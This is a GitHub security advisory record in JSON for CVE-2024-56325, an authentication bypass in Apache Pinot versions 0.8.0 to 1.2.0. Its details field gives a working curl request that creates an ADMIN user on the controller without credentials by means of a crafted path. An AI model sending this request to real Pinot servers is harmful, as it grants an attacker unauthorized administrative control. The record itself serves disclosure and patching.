{"id":"GHSA-6jwp-4wvj-6597","summary":"Apache Pinot Vulnerable to Authentication Bypass","details":"Authentication Bypass Issue\n\nIf the path does not contain / and contain., authentication is not required.\n\nExpected Normal Request and Response Example\n\ncurl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}  http://{server_ip}:9000/users \n\n\nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}\n\n\nMalicious Request and Response Example \n\ncurl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .\n\n\nReturn: {\"users\":{}}\n\n\n\n \n\nA new user gets added bypassing authentication, enabling the user to control Pinot.","aliases":["CVE-2024-56325"],"modified":"2026-08-31T23:00:09.883982474Z","published":"2025-04-01T09:30:20Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2025-04-01T18:20:48Z","nvd_published_at":"2025-04-01T09:15:15Z","cwe_ids":["CWE-288"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56325"},{"type":"WEB","url":"https://github.com/apache/pinot/pull/14383"},{"type":"WEB","url":"https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f"},{"type":"WEB","url":"https://github.com/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121"},{"type":"PACKAGE","url":"https://github.com/apache/pinot"},{"type":"WEB","url":"https://github.com/apache/pinot/releases/tag/release-1.3.0"},{"type":"WEB","url":"https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/03/27/8"}],"affected":[{"package":{"name":"org.apache.pinot:pinot-broker","ecosystem":"Maven","purl":"pkg:maven/org.apache.pinot/pinot-broker"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.0"},{"fixed":"1.3.0"}]}],"versions":["0.10.0","0.11.0","0.12.0","0.12.1","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.1.0","1.2.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-6jwp-4wvj-6597/GHSA-6jwp-4wvj-6597.json"}},{"package":{"name":"org.apache.pinot:pinot-common","ecosystem":"Maven","purl":"pkg:maven/org.apache.pinot/pinot-common"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.0"},{"fixed":"1.3.0"}]}],"versions":["0.10.0","0.11.0","0.12.0","0.12.1","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.1.0","1.2.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-6jwp-4wvj-6597/GHSA-6jwp-4wvj-6597.json"}},{"package":{"name":"org.apache.pinot:pinot-controller","ecosystem":"Maven","purl":"pkg:maven/org.apache.pinot/pinot-controller"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.0"},{"fixed":"1.3.0"}]}],"versions":["0.10.0","0.11.0","0.12.0","0.12.1","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.1.0","1.2.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-6jwp-4wvj-6597/GHSA-6jwp-4wvj-6597.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}